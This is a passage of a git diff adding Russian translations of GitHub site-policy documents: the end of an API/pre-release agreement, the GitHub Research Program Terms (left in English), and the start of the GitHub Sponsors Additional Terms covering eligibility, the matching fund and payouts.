небрежностью или преднамеренным неправомерным поведением; вашими Продуктами или любыми интеграциями, которые вы разрабатываете, проектируете, продвигаете или распространяете с использованием нашего API или любой Конфиденциальной информации; любыми искажениями, которые вы делаете в отношении нас, наших продуктов или услуг; или нарушением вами какой-либо части настоящего Соглашения. + +11. **Ограничение ответственности** + + НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ МЫ НЕ НЕСЕМ ОТВЕТСТВЕННОСТИ ПЕРЕД ВАМИ ИЛИ ПЕРЕД ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ ЗА ЛЮБОЙ КОСВЕННЫЙ, ОСОБЫЙ, СЛУЧАЙНЫЙ, ПОСЛЕДУЮЩИЙ, ПРИМЕРНЫЙ УЩЕРБ ИЛИ ШТРАФНЫЕ УБЫТКИ, ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, УЩЕРБ ИЗ-ЗА УТРАЧЕННЫХ ДАННЫХ, УПУЩЕННОЙ ПРИБЫЛИ ИЛИ РАСХОДОВ НА ПРИОБРЕТЕНИЕ ЗАМЕНЯЮЩИХ ТОВАРОВ ИЛИ УСЛУГ, ЧЕМ БЫ ЭТО НЕ БЫЛО ВЫЗВАНО И НЕЗАВИСИМО ОТ ПРИЧИНЫ И ВИДА ОТВЕТСТВЕННОСТИ, БУДЬ ТО В ДОГОВОРЕ, ДЕЛИКТЕ (ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, ОТВЕТСТВЕННОСТЬ ЗА ПРОДУКТ, СТРОГУЮ ОТВЕТСТВЕННОСТЬ И НЕБРЕЖНОСТЬ) ИЛИ НЕЗАВИСИМО ОТ ЛЮБОЙ ДРУГОЙ ТЕОРИИ, И НЕЗАВИСИМО ОТ ТОГО, ЗНАЛИ ЛИ МЫ ИЛИ НЕТ, ИЛИ ДОЛЖНЫ БЫЛИ ЗНАТЬ О ВОЗМОЖНОСТИ ТАКОГО УЩЕРБА. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ НАША СОВОКУПНАЯ ОТВЕТСТВЕННОСТЬ ПЕРЕД ВАМИ, ВОЗНИКАЮЩАЯ ИЗ НАСТОЯЩЕГО СОГЛАШЕНИЯ ИЛИ СВЯЗАННАЯ С НИМИ, ПО ЛЮБОЙ ПРИЧИНЕ И НЕЗАВИСИМО ОТ ФОРМЫ ИСКА, БУДЬ ТО ПО ДОГОВОРУ ИЛИ ДЕЛИКТУ, НЕ БУДЕТ ПРЕВЫШАТЬ БОЛЬШУЮ ИЗ (I) СУММ, КОТОРЫЕ ВЫ ДЕЙСТВИТЕЛЬНО ПЛАТИЛИ НАМ ЭТО СОГЛАШЕНИЕ; ИЛИ (II) ПЯТЬСОТ ДОЛЛАРОВ (500 ДОЛЛАРОВ США). ВЫШЕИЗЛОЖЕННЫЕ ОГРАНИЧЕНИЯ ПРИМЕНЯЮТСЯ НЕЗАВИСИМО ОТ НЕИСПОЛНЕНИЯ ОСНОВНОЙ ЦЕЛИ ЛЮБОГО ОГРАНИЧЕННОГО СРЕДСТВА ПРАВОВОЙ ЗАЩИТЫ, УКАЗАННОГО В НАСТОЯЩЕМ СОГЛАШЕНИИ. + +12. **Экспортный контроль.** + + Вам не разрешается экспортировать или реэкспортировать какую-либо нашу Конфиденциальную информацию, за исключением случаев, разрешенных законодательством США и законами юрисдикции, в которой Конфиденциальная информация была получена. В частности, вам не разрешается экспортировать или реэкспортировать нашу Конфиденциальную информацию в любые страны, на которые распространяется эмбарго США, кому-либо из списка особо обозначенных граждан Министерства финансов США или кому-либо из списка исключенных лиц или организаций Министерства торговли США. Присоединяясь к Программе или получая какую-либо нашу Конфиденциальную информацию, вы заявляете и гарантируете, что вы не находитесь ни в одной из таких стран или ни в одном из таких списков. + +13. **Права, защищаемые законодательством об интеллектуальной собственности** + + Вы соглашаетесь с тем, что GitHub и его лицензиары владеют всеми правами, правами собственности и интересами в отношении API, Предварительных материалов и всех других продуктов и услуг GitHub; всей информацией и данными, касающимися их конфигураций и комбинаций; и всеми модификациями и производными работами любого из вышеперечисленного. Вы соглашаетесь не удалять, не изменять, не скрывать и не запутывать какие-либо уведомления об авторских правах или других правах собственности, которые мы размещаем или встраиваем в API, Предварительные материалы или любые другие продукты и услуги GitHub. + +14. **Пользователи, являющиеся государственными организациями** + + Если вы являетесь государственным органом, этот раздел применяется к вам. Некоторая наша Конфиденциальная информация может считаться «Коммерческими товарами» в соответствии с определением этого термина в 48 CFR. §2.101, и состоит из «Коммерческого компьютерного программного обеспечения» и «Документации к коммерческому программному обеспечению» в соответствии с определением этих терминов, содержащимся в статье 48 C.F.R. §12.212 или 48 CFR §227.7202, соответственно. Согласно требованиям статьи 48 C.F.R. §12.212 или 48 CFR от §227.7202-1 до 227.7202-4, в зависимости от обстоятельств, Коммерческое компьютерное программное обеспечение и Документация по коммерческому компьютерному программному обеспечению лицензируются конечным пользователям правительства США (a) только как Коммерческие продукты и (b) только с теми правами, которые предоставляются всем другим конечным пользователям в соответствии с положениями и условиями, изложенным в настоящем документе. GitHub, Inc. 88 Colin P. Kelly Street, San Francisco, CA 94107. + +15. **Независимая разработка** + + Ничто в настоящем Соглашении не ущемляет наше право разрабатывать, приобретать, лицензировать, продавать, продвигать или распространять продукты, программное обеспечение или технологии, которые могут конкурировать с вашими Продуктами. + +16. **Обратная связь** + + Мы всегда стараемся стать лучше, и обратная связь от вас поможет нам в этом. Если вы решите предоставить нам отзывы, предложения или рекомендации по Программе или нашим продуктам или услугам (совместно именуемые «Обратная связь»), вы признаете и соглашаетесь с тем, что мы можем использовать эту Обратную связь любым способом без ограничений (конечно, с учетом применимых патентов или авторских прав). + +17. **Независимые подрядчики** + + Стороны настоящего Соглашения являются независимыми подрядчиками. Ни один из нас не будет считаться сотрудником, агентом, партнером, франчайзером, франчайзи или законным представителем другого для каких-либо целей, и ни один из нас не будет иметь никаких прав или полномочий для создания каких-либо обязательств или ответственности от имени другого. + +18. **Передача прав и обязанностей** + + Вам не разрешается переуступать или передавать настоящее Соглашение или любые ваши права по нему, полностью или частично, в силу закона или иным образом, без нашего предварительного письменного согласия. + +19. **Применимое право и место рассмотрения споров** + + Данное Соглашение интерпретируется и толкуется в соответствии с правом штата Калифорния независимо от принципов коллизионного права. Все споры, возникающие в связи с настоящим Соглашением, подлежат исключительной юрисдикции судов штата и федеральных судов, расположенных в округе Сан-Франциско, штат Калифорния, и каждый из нас настоящим соглашается на их личную юрисдикцию. + +20. **Поправки; Отказ от обязательств; Отсутствие сторонних бенефициаров** + + Настоящее Соглашение не может быть изменено, кроме как в письменной форме, подписанной обеими сторонами. Любой отказ от положений настоящего Соглашения или прав стороны или средств правовой защиты по настоящему Соглашению должен быть оформлен в письменной форме, чтобы иметь силу. Если какое-либо положение, условие или положение настоящего Соглашения будет признано недействительным или не имеющим исковой силы, остальные условия останутся в силе и подлежат исполнению в максимально возможной степени, разрешенной законом. Каждый из нас прямо соглашается с тем, что в настоящем Соглашении нет сторонних бенефициаров. + +21. **Полное соглашение** + + Настоящее Соглашение, Условия обслуживания и Условия программы содержат полное соглашение сторон в отношении его предмета и заменяют собой все предыдущие сообщения, заявления, договоренности и соглашения, как письменные, так и устные. Условия любых ваших заказов на покупку, подтверждений или других документов, которые вы отправляете нам в связи с настоящим Соглашением, будут недействительными и не имеющими силы. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-research-program-terms.md b/translations/ru-RU/content/site-policy/github-terms/github-research-program-terms.md new file mode 100644 index 000000000000..24fd5cac7b22 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-research-program-terms.md @@ -0,0 +1,67 @@ +--- +title: GitHub Research Program Terms +redirect_from: + - /articles/github-research-program-terms + - /github/site-policy/github-research-program-terms +versions: + fpt: '*' +topics: + - Policy + - Legal +--- + +Welcome to the GitHub Research Program (the "Program")! To participate, we’ll need you to agree to a special set of terms, the GitHub Research Program Agreement (“Agreement”). + +This Agreement is a legal agreement between you (“you”, "your") and GitHub, Inc. (“GitHub”, “we”, or “us”). Be sure to read this Agreement carefully – you can only be a Program participant if you accept all the terms of this Agreement. By participating in the Program in any way – for example, by accessing information about GitHub products or services that aren’t yet available to the general public – you’re agreeing to be bound by all the terms of this Agreement. + +## A. Your Feedback + +We’re always trying to improve our products and services, and your feedback as a Program participant will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services through the Program (collectively, “Feedback”), then we need the legal rights to use and analyze that information for those purposes. In legalese, that means you grant GitHub a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation. + +## B. Confidentiality + +GitHub may provide you with access to special information that isn’t available to the rest of the world for the purpose of providing feedback to us through the Program (the "Purpose"). Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret. + +You agree that any non-public information we share with you or that you may have access to as a Program participant will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the Purpose stated above, and not for any other purpose. You should use the same degree of care as you would with your confidential information but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party. + +You understand that unauthorized disclosure or use of our Confidential Information could cause us irreparable harm, and significant injury that may be difficult for us to quantify. Accordingly, you agree that we’ll have the right to seek immediate injunctive relief to make sure you comply with this Agreement, in addition to any other rights and remedies we may have. If you are required by law, regulation or a valid binding order of a court of competent jurisdiction to disclose our Confidential Information, you may do so, but only if you notify us before you do, and do your best to limit such disclosure and to seek confidential, protective treatment of such information. + +The obligations in this Section 2 won’t apply to information that you can prove: (i) was generally available to the public before we disclosed it to you; (ii) became generally available to the public after we disclosed it to you, through no action or inaction on your part, or on the part of your employees or contractors; (iii) you knew about before we disclosed it to you; (iv) was disclosed to you by a third party, who didn’t have any confidentiality obligations with respect to it; (v) you independently developed without breach of any confidentiality obligation to us or any third party; or (vi) we gave you permission to disclose, in a writing signed by one of our authorized representatives. + +## C. Reservation of Rights + +All Confidential Information remains the sole and exclusive property of GitHub. Neither party acquires any intellectual property rights under this Agreement, unless expressly specified herein. + +## D. Privacy + +By participating in this Program, you consent to our use of your personal information for research purposes, and not for any other purposes. As part of the Program, we may use your personal information to contact you, or retain your information, to contact you at a later date. Personal information does not include aggregated, non-personally identifying information. We may use aggregated or other non-personally identifying information collected through the program to operate, analyze, and improve our products and services. + +You can withdraw your consent at any time, and request access to or the deletion of the personal information that we hold about you. For more information about how you can access, update, alter, or delete the personal information GitHub collects through the Program, please see the [GitHub Privacy Statement](/articles/github-privacy-statement/) or contact us through our {% data variables.contact.contact_privacy %}. + +## E. GitHub Services and Software Terms + +If access to GitHub's services or software are required to participate in certain Program studies or activities, then the applicable services or software agreement will apply to your use of those products (the "Generally Applicable Terms"). In the event of a direct conflict between this Agreement and the Generally Applicable Terms, your Generally Applicable Terms will control, except with respect to any use of Confidential Information (as defined below), in which case this Agreement will control. + +## F. Disclaimer of Warranties + +All Confidential Information and other materials you receive through the Program are provided “as is” and without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Program including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement. + +## G. Limitation of Liability + +Except as prohibited by law, you understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages. + +Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control. + +## H. Miscellaneous + +### 1. Governing Law +Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California. + +### 2. Non-Assignability +GitHub may assign or delegate this Agreement, in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section A. You may not assign or delegate any rights or obligations under this Agreement without our prior written consent, and any unauthorized assignment and delegation by you is void. + +### 3. Severability, No Waiver, and Survival +If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement. + +### 4. Amendments; Complete Agreement +This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub. This Agreement, together with the Generally Applicable Terms and the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-sponsors-additional-terms.md b/translations/ru-RU/content/site-policy/github-terms/github-sponsors-additional-terms.md new file mode 100644 index 000000000000..8f161e815e0c --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-sponsors-additional-terms.md @@ -0,0 +1,209 @@ +--- +title: Дополнительные условия для спонсоров GitHub +redirect_from: + - /articles/github-sponsors-additional-terms + - /github/site-policy/github-sponsors-additional-terms +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 46f8df3877563406dc3f9094a8d9a33466132cd0 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556780' +--- +Ваше участие в Спонсорской программе GitHub («Программа») регулируется [Условиями обслуживания GitHub](/github/site-policy/github-terms-of-service) («Соглашение»), а также следующими дополнительными условиями («Дополнительные условия»). Любое использование Спонсорской программы GitHub, нарушающее Соглашение, также будет являться нарушением настоящих Дополнительных условий. Термины, написанные с заглавной буквы, которые используются в настоящем документе, но не определены ниже, имеют те же значения, что и соответствующие термины в Соглашении. Эти Дополнительные условия для Спонсорской программы GitHub описывают отношения между GitHub и вами, «Спонсируемым разработчиком», в рамках Программы. Дополнительные условия вступают в силу с даты их принятия («Дата вступления в силу»). + +## 1. Определения. + +«**Политики GitHub**» означает все текущие политики и процедуры GitHub, которым должен следовать Спонсируемый разработчик, как указано в Программе, включая [Правила сообщества GitHub](/github/site-policy/github-community-guidelines). + +«**Спонсор**» означает Пользователя, который приобрел Подписку у вас или оплатил вам спонсорство через вашу Учетную запись спонсируемого разработчика. + +«**Учетная запись спонсируемого разработчика**» означает учетную запись, которую вы создаете в рамках Программы для получения платежей от Спонсоров. + +«**Контент спонсируемого разработчика**» означает весь контент, который вы отправляете на GitHub в связи с Программой, включая Пользовательский контент и ваш Контент; ваши фирменные наименования, товарные знаки, знаки обслуживания, торговые наименования, логотипы или знаки происхождения («**Знаки спонсируемого разработчика**»); и данные, связанные с Учетной записью спонсируемого разработчика. + +«**Спонсорство**» означает платеж, выплачиваемый вам через Программу и Сервис. + +«**Подписка**» означает повторяющееся или единовременное Спонсорство в обмен на товары, услуги или другие предложения, которые вы предоставляете Спонсорам. + +«**Платеж спонсируемому разработчику**» означает сто процентов (100 %) валовых ежемесячных платежей GitHub, полученных от Спонсорства и Подписки на Учетные записи спонсируемых разработчиков, а также любые применимые Встречные фонды и другие доходы от вариантов монетизации, которые Спонсируемый разработчик решает использовать, в зависимости от обстоятельств, за вычетом любых скидок, налогов, сборов, сумм, которые GitHub не получил или которые были возмещены или списаны обратно, сумм, причитающихся любому третьему лицу в связи с Программой в отношении Учетной записи спонсируемого разработчика, а также других Исключений, как указано в Разделе 4. + +«**USD**» означает «доллар США». + +## 2. Допустимое использование. + +### 2.1. Спонсорская программа GitHub + +Для участия в Программе вы должны соблюдать законы о минимальном возрасте в своей стране (например, вам должно быть не менее 13 лет, если вы живете в США), иметь действующую учетную запись GitHub и согласиться с [Разделом о допустимом использовании](/github/site-policy/github-terms-of-service#c-acceptable-use) в Соглашении и применимых Политиках GitHub, а также в настоящих Дополнительных условиях для спонсоров GitHub. + +Если вы старше 13 лет, но моложе 18, вы можете передавать и получать средства Спонсора при условии, что Stripe, наш платежный оператор, может собирать информацию для проверки от вашего законного опекуна. + +Вы ни при каких обстоятельствах не разрешаете платежи или сбор средств, связанные с: + +* мошенничеством, выкупом, нарушением прав интеллектуальной собственности или другими незаконными целями; + +* введением в заблуждение или обманом, связанным с причинами, по которым вы собираете средства или запрашиваете спонсорство; + +* покупками или продажей ICO, служебных токенов или других видов криптовалюты; + +* покупкой или продажей ценных бумаг, акций или других видов инвестиционных предложений; + +* продажей персональной информации или обработкой персональной информации в нарушение каких-либо законов; + +* лотереями, розыгрышами, азартными играми, финансовыми пирамидами, злоупотреблением служебным положением, схемами «быстрого обогащения», мошенническими маркетинговыми схемами, схемами «пожертвование за пожертвование» или любыми попытками обмана систем или служб GitHub или третьих лиц; и, + +* деятельностью со странами, регионами, правительствами, физическими или юридическими лицами, в них или с их участием, которая не разрешена американскими и другими экономическими санкциями согласно применимому праву. + +### 2.2. GitHub спонсирует Встречный фонд +Фонд GitHub Sponsors Matching Fund призван побудить сообщество, участвующее в экосистеме программного обеспечения с открытым кодом (OSS), вносить устойчивое финансирование для соответствующих требованиям лиц с Учетными записями спонсируемых разработчиков. Все лица, подавшие заявку на участие в Программе до 1 января 2020 г., будут проверены на предмет соответствия критериям участия в программе Matching Fund, но не все отвечающие требованиям индивидуальные спонсируемые учетные записи разработчиков получат встречное финансирование. Организации не могут участвовать в программе GitHub Sponsors Matching Fund, и Спонсорство организации не будет соотнесено с отвечающей критериям Учетной записью спонсируемого разработчика. Ниже приведены дополнительные правила. + +#### 2.2.1. Условия Встречного фонда. +Право на участие в GitHub Sponsors Matching Fund оценивается в каждом конкретном случае и имеет следующие ограничения: + +* Вы должны иметь учетную запись GitHub, быть принятым в Программу как физическое лицо и активно участвовать в OSS. Обратите внимание, что GitHub не позволяет использовать более одной бесплатной личной учетной записи. Таким образом, встречное финансирование доступно на индивидуальной основе и не будет одобрено для нескольких учетных записей. + +* Ваше использование GitHub и вашей Учетной записи спонсируемого разработчика должно, исходя из нашего решения, по нашему собственному усмотрению, соответствовать миссии Спонсоров GitHub по расширению возможностей для внесения вклада в открытый код, который поддерживает [Правила сообщества GitHub](/github/site-policy/github-community-guidelines). + +* Вы не можете получить встречное финансирование для любого спонсорства, которое исходит от учетной записи пользователя или организации с опубликованным профилем Спонсоров GitHub. + +* GitHub оставляет за собой право удержать или аннулировать средства Встречного фонда и заблокировать любого пользователя от участия в программе GitHub Sponsors Matching Fund по любой причине, включая, помимо прочего, публикацию контента или проектов, которые GitHub считает оскорбительными или иным образом нежелательными. + +#### 2.2.2. Период встречного финансирования. +Период встречного финансирования начинается после того, как GitHub примет отдельную Учетную запись спонсируемого разработчика в программу GitHub Sponsors. Для каждой отдельной Учетной записи спонсируемого разработчика, имеющей право на участие в программе GitHub Sponsors Matching Fund, GitHub может выделить спонсорскую поддержку сообщества на общую сумму до $5000 долларов США в течение первых 12 месяцев участия Учетной записи спонсируемого разработчика в Программе. Период встречного финансирования не может быть продлен ни по какой причине. В течение периода встречного финансирования GitHub не будет взимать комиссию, поэтому 100 % спонсорской помощи пойдет спонсируемому разработчику. В будущем мы можем взимать номинальную плату за обработку. + +* Если Спонсорство или Спонсорская подписка прекращается по какой-либо причине, соответствующее встречное финансирование также прекращается. Средства, которые были возвращены Спонсору до даты Платежа спонсируемому разработчику, не подлежат распределению. + +* Если вы покинете программу GitHub Sponsors и присоединитесь к ней позже, промежуток между вашими периодами участия может засчитываться в ваш период встречного финансирования, или ваш период встречного финансирования может истечь. + + +* Если GitHub обнаружит потенциальное нарушение политики, до выплаты любых средств встречного фонда, предоставленных в течение периода встречного финансирования, GitHub может отключить выплаты до тех пор, пока не будет завершено расследование, и соответствующие средства, внесенные спонсируемому разработчику, могут быть отозваны, если будет обнаружено, что они нарушают эту политику. + +* {% data reusables.sponsors.github-contact-applicants %} + +## 3. Обязательства Спонсируемого разработчика. + +### 3.1. Общие положения. +Вы обязуетесь: (A) создать Учетную запись спонсируемого разработчика; (B) предоставлять Контент спонсируемого разработчика через Программу и Сервис; и (C) соблюдать все Политики GitHub. Вы будете нести единоличную ответственность за поддержку, разработку и техническое обслуживание вашей Учетной записи спонсируемого разработчика и Контента спонсируемого разработчика, а также любые жалобы на них. + +### 3.2. Регистрация. +Если вы решите подать заявку на участие в Программе, участие в Программе зависит от завершения вами процесса регистрации и принятия участия в Программе GitHub. Кроме того, вам может потребоваться зарегистрироваться у поставщиков платежных услуг, выбранных GitHub (например, Stripe), чтобы получить доступ к определенным функциям Программы и использовать их. Вы должны зарегистрироваться, указав свою настоящую идентификационную информацию, и вы соглашаетесь предоставлять и поддерживать правдивую, точную, актуальную и полную информацию о себе в соответствии с запросом регистрационной формы Программы. Регистрационные данные и некоторая другая информация о вас регулируется нашим [Заявлением о конфиденциальности](/github/site-policy/github-privacy-statement), а также любым заявлением о конфиденциальности, предоставленным нашим платежным оператором. GitHub оставляет за собой право отказать в принятии в Программу. + +### 3.3. Монетизация контента. +Через Программу и Сервис GitHub может предоставить вам различные варианты монетизации вашего Контента спонсируемого разработчика. Для некоторых параметров может потребоваться обновить определенные настройки в вашей Учетной записи спонсируемого разработчика. Кроме того, способы, которыми Программа поддерживает каждый вариант монетизации, могут различаться. Если вы используете один (или несколько) из этих параметров, изменяя соответствующие настройки, вы соглашаетесь с условиями, применимыми к этому параметру. Некоторые варианты монетизации могут потребовать от вас предоставления дополнительной информации GitHub или его поставщикам услуг или принятия дополнительных условий GitHub или сторонних условий. + +#### 3.3.1. Подписки. +Программа предоставляет вам возможность предлагать Подписки. Если вы решите предлагать Подписки, GitHub заплатит вам Спонсорство за подписку, как указано в Разделе 4. Вы несете ответственность за определение характера, содержания и возможностей вашего предложения по Подписке в соответствии с настоящими Дополнительными условиями и применимыми Политиками GitHub. + +#### 3.3.2. Прочее спонсорство. +Программа или Сервис могут предоставить вам возможность принять пожертвование или другой тип прямого спонсорства от другого Пользователя без предложения Подписки. Однако, поскольку GitHub не выполняет эти виды спонсорства, вы должны создать учетную запись продавца у стороннего поставщика платежных услуг (например, Stripe) и соблюдать положения, условия и политику конфиденциальности учетной записи поставщика услуг. Любые суммы, переданные вам в виде пожертвований или иным образом, будут выплачены непосредственно на ваш торговый счет и не будут включены в какие-либо Платежи спонсируемым разработчикам. Вы соглашаетесь с тем, что у вас не будет никаких претензий или средств правовой защиты против GitHub, связанных с пожертвованиями, и любые споры, связанные с пожертвованием, разрешаются исключительно между вами и сторонним поставщиком платежных услуг. Вы несете ответственность за соблюдение всех соглашений, политик и законов или нормативных актов сторонних поставщиков платежных услуг, которые могут применяться. GitHub может предоставить вам информацию или отчет о сумме пожертвований, сделанных вам для вашего удобства. + +#### 3.3.3. Реклама. +Хотя мы понимаем, что вы можете захотеть продвигать своих Спонсоров, размещая их имена или логотипы в своей учетной записи, основная цель Контента спонсируемого разработчика не должна быть рекламой или маркетинговым продвижением. Кроме того, вы не можете заключать какие-либо рекламные соглашения для продвижения какого-либо продукта или торговой марки, если это запрещено [Соглашением](/github/site-policy/github-terms-of-service) или Правилами сообщества GitHub. Если вы решите разместить какую-либо рекламу или рекламные материалы в своем Контенте спонсируемого разработчика, вы несете единоличную ответственность за соблюдение всего применимого законодательства, включая, помимо прочего, Руководство Федеральной торговой комиссии США по одобрениям и отзывам. + +## 4. Финансовые условия. + +### 4.1. Оплата. +GitHub будет выплачивать вам Платеж спонсируемого разработчика в соответствии с этим Разделом 4, если вы выполняете Обязательства спонсируемого разработчика в Разделе 3 и не нарушаете настоящие Дополнительные условия. Если вы не выполняете эти обязательства в течение какого-либо месяца, мы можем по собственному усмотрению удержать Платеж спонсируемому разработчику за этот месяц. Если вы не соответствуете или не выполняете Обязательства спонсируемого разработчика в течение двух (2) или более месяцев в течение Срока действия (последовательно или непоследовательно), GitHub может прекратить действие этих Дополнительных условий, как указано в Разделе 6. + +### 4.2. Исключения для Платежей спонсируемым разработчикам. +Следующие суммы не включены в Платежи спонсируемым разработчикам или могут быть удержаны GitHub, если это применимо. + +#### 4.2.1. Расходы Спонсируемых разработчиков. +Вы будете нести все расходы, которые вы понесете в связи с вашей работой в соответствии с настоящими Дополнительными условиями. Мы не будем возмещать или авансировать какие-либо расходы. + +#### 4.2.2. Налоги. +GitHub намеревается соблюдать все применимые законы об отчетности по налоговой информации и удержании налогов, которые GitHub обоснованно считает применимыми к этим платежам. Если необходимо удержать налоги с любых сумм, которые GitHub должен выплатить вам, или с сумм, подлежащих налоговой отчетности в соответствии с действующим правом, GitHub вычтет такие налоги из причитающейся суммы и уплатит их соответствующему налоговому органу и, по мере необходимости, обеспечит и предоставит вам официальную квитанцию об удержании любых таких налогов в соответствии с требованиями применимого права. GitHub будет прилагать разумные усилия для минимизации таких налогов в степени, допустимой применимым правом, и каждая сторона будет разумно взаимодействовать с другой для получения минимально возможных налоговых ставок или исключения таких налогов в соответствии с применимыми законами и соглашениями о налогообложении доходов. Это включает в себя предоставление вами GitHub адекватной информации, требуемой в соответствии с применимым правом, такой как формы IRS W-8, W-9 или другой информации для установления освобождений от удержания. Вы также будете нести ответственность за соблюдение условий и положений любой сторонней платежной системы в отношении удержания налогов и отчетности, если это применимо. Кроме того, GitHub оставляет за собой право приостановить платежи на вашу учетную запись до тех пор, пока вы не предоставите GitHub соответствующую документацию или информацию, требуемую GitHub в соответствии с применимым правом для определения любых применимых обязательств по удержанию налогов или отчетности, которые применяются к платежам в соответствии с настоящими Дополнительными условиями или Соглашением. + +#### 4.2.3. Удержание Платежа спонсируемому разработчику за нарушение. +В случае нарушения или подозрения на нарушение Спонсируемым разработчиком настоящих Дополнительных условий или Соглашения GitHub оставляет за собой право приостановить выплату Спонсируемому разработчику в соответствии с настоящими Дополнительными условиями или иным образом до проведения разумного расследования GitHub. Если GitHub по своему собственному усмотрению определит, что Спонсируемый разработчик нарушает настоящие Дополнительные условия или Соглашение, GitHub может навсегда удержать любые суммы, причитающиеся Спонсируемому разработчику. + +### 4.3. Сроки оплаты. +В течение этого срока GitHub будет перечислять вам все Платежи спонсируемым разработчикам, полученные в данном месяце, в течение 30 дней после закрытия этого месяца, с учетом указанных ниже переменных. Выплаты отправляются через Stripe Connect, перевод ACH или банковский перевод на банковский счет, который вы указали при подаче заявки на участие в программе GitHub Sponsors. Мы не несем ответственности за задержку или применение Платежей спонсируемым разработчикам не по назначению вследствие получения неправильных или неполных сведений от вас или банка, или в результате отказа банка в переводе средств на ваш счет. + +- Для вновь созданных Учетных записей спонсируемых разработчиков GitHub перечислит вам все Платежи спонсируемому разработчику, полученные в данном месяце, в течение 90 дней с момента создания вашей Учетной записи спонсируемого разработчика, с учетом приведенных ниже величин. Платежи после этого будут переведены в течение 30 дней после закрытия этого месяца в соответствии с данным разделом. + +- Если вам платят через Stripe Connect, вы получите выплаты 22-го числа месяца за остаток, накопленный с момента последней выплаты, независимо от суммы остатка. Даты начала выплаты зависят от страны и могут меняться от месяца к месяцу из-за государственных праздников, выходных и других факторов. + +- Если вам платят через перевод ACH или банковский перевод, вы получите выплаты в третий четверг месяца. GitHub произведет вам выплату за любой месяц, когда ваш баланс достигнет $100 долларов США. Взносы по программе GitHub Sponsors Matching Fund не учитываются в этом пороге. Если ваш баланс ниже 100 долларов США в конце месяца, баланс будет накапливаться до тех пор, пока ваш баланс в следующий раз не превысит пороговое значение в конце месяца. Если вы покинете программу GitHub Sponsors, GitHub произведет выплату вашего оставшегося баланса, даже если баланс ниже 100 долларов США. + +- После прекращения действия мы перечислим вам все полученные и невыплаченные Платежи спонсируемому разработчику в течение примерно 90 дней после окончания календарного месяца, в котором мы признаем, что действие настоящих Дополнительных условий было прекращено. + +### 4.4. Метод оплаты. +Мы будем переводить Платежи спонсируемым разработчикам через ACH/SEPA или на указанный вам счет в соответствии с пороговыми значениями, методами и сроками, указанными в наших действующих на тот момент политиках платежей, которые мы можем время от времени обновлять. Способ оплаты и порог могут различаться в зависимости от страны и информации о счете, которую вы предоставляете. Мы можем, по нашему собственному усмотрению, комбинировать Платеж спонсируемому разработчику с любыми другими платежами, которые могут вам причитаются. + +### 4.5. Валюта. +Все ссылки на валюту относятся к доллару США. Если вы находитесь за пределами США, мы можем конвертировать доллары США в местную валюту вашего адреса для оплаты, используя наши текущие курсы конвертации. + +### 4.6. Требования к возврату. +Вы будете нести ответственность за указание условий и положений, касающихся любых возмещений средств вашим Спонсорам. Ни при каких обстоятельствах GitHub не несет ответственности за предоставление какой-либо поддержки для возмещения, а также GitHub не несет ответственности за выплату любого возмещения. + +### 4.7. Запрошенная платежная информация. +Чтобы заплатить вам, вы должны предоставить нам полную и точную финансовую, налоговую и банковскую информацию, которую мы запрашиваем (например, путем создания или настройки счета или иным образом). Мы будем уведомлять вас любыми средствами связи об изменениях требуемой информации. Если вы не предоставите (или не будете аккуратно вести) такую информацию, (а) мы можем вычесть из вашего Платежа спонсируемому разработчику любые соответствующие банковские сборы, и (б) мы можем прекратить действие настоящих Дополнительных условий, а вы можете лишиться любых сумм, причитающихся вам от GitHub. + +### 4.8. Stripe Connect + +Если вам платят через Stripe Connect, к вашему использованию программы GitHub Sponsors применяются следующие дополнительные условия: + +**Соглашение о полном обслуживании** + +_Применяется к Учетным записям спонсируемых разработчиков, зарегистрированным в Австралии, Австрии, Бельгии, Канаде, Дании, Эстонии, Финляндии, Франции, Германии, Греции, Гонконге, Ирландии, Италии, Японии, Латвии, Литве, Люксембурге, Нидерландах, Новой Зеландии, Норвегии, Польше, Португалии, Словакии, Словении, Испании, Швеции, Швейцарии, Великобритании, США._ + +Услуги по обработке платежей для Учетных записей спонсируемых разработчиков в 